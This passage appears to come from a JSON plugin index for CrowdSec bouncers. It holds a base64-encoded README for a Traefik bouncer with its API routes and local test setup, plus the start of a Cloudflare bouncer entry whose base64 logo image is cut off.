1lIHJvdXRlczoKCiogR0VUIGAvYXBpL3YxL2ZvcndhcmRBdXRoYCAgICAgICAgICAgICAtIE1haW4gcm91dGUgdG8gYmUgdXNlZCBieSBUcmFlZmlrOiBxdWVyeSBDcm93ZFNlYyBhZ2VudCB3aXRoIHRoZSBoZWFkZXIgYFgtUmVhbC1JcGAgYXMgY2xpZW50IElQYAoqIEdFVCBgL2FwaS92MS9waW5nYCAgICAgICAgICAgICAgICAgICAgLSBTaW1wbGUgaGVhbHRoIHJvdXRlIHRoYXQgcmVzcG9uZCBwb25nIHdpdGggaHR0cCAyMDBgCiogR0VUIGAvYXBpL3YxL2hlYWx0aHpgICAgICAgICAgICAgICAgICAtIEFub3RoZXIgaGVhbHRoIHJvdXRlIHRoYXQgcXVlcnkgQ3Jvd2RTZWMgYWdlbnQgd2l0aCBsb2NhbGhvc3QgKDEyNy4wLjAuMSlgCiogR0VUIGAvYXBpL3YxL21ldHJpY3NgICAgICAgICAgICAgICAgICAtIFByb21ldGhldXMgcm91dGUgdG8gc2NyYXAgbWV0cmljcwoKIyBDb250cmlidXRpb24KQW55IGNvbnN0cnVjdGl2ZSBmZWVkYmFjayBpcyB3ZWxjb21lLCBmaWxsIGZyZWUgdG8gYWRkIGFuIGlzc3VlIG9yIGEgcHVsbCByZXF1ZXN0LiBJIHdpbGwgcmV2aWV3IGl0IGFuZCBpbnRlZ3JhdGUgaXQgdG8gdGhlIGNvZGUuICAgIAoKIyMgTG9jYWwgU2V0dXAgCjEuIFN0YXJ0IGRvY2tlciBjb21wb3NlIHdpdGggZG9ja2VyLWNvbXBvc2UgdXAgLWQgCjIuIENyZWF0ZSBgX3Rlc3QuZW52YCBmcm9tIHRlbXBsYXRlIGBfdGVzdC5lbnYuZXhhbXBsZWAgc3VjaCBhcyBgY3AgX3Rlc3QuZW52LmV4YW1wbGUgX3Rlc3QuZW52YAozLiBHZXQgYW4gQVBJIGtleSBmb3IgeW91ciBib3VuY2VyIHdpdGggOiBgIGRvY2tlciBleGVjIHRyYWVmaWstY3Jvd2RzZWMtYm91bmNlci1jcm93ZHNlYy0xIGNzY2xpIGJvdW5jZXJzIGFkZCB0cmFlZmlrLWJvdW5jZXJgCjQuIEluIGBfdGVzdC5lbnZgIHJlcGxhY2UgYDx5b3VyX2dlbmVyYXRlZF9hcGlfa2V5PmAgd2l0aCB0aGUgcHJldmlvdXNseSBnZW5lcmF0ZWQga2V5CjUuIEFkZGluZyBhIGJhbm5lZCBJUCB0byB5b3VyIGNyb2R3c2VjIGluc3RhbmNlIHdpdGggOiBgZG9ja2VyIGV4ZWMgdHJhZWZpay1jcm93ZHNlYy1ib3VuY2VyLWNyb3dkc2VjLTEgY3NjbGkgZGVjaXNpb25zIGFkZCAtaSAxLjIuMy40YAo2LiBSdW4gdGVzdCB3aXRoIGBnb2RvdGVudiAtZiAuL190ZXN0LmVudiBnbyB0ZXN0IC1jb3ZlcmAK", "status": "unstable", "version": "v0.1.1", "assets": null }, { "name": "cs-cloudflare-bouncer", "author": "crowdsecurity", "logo": "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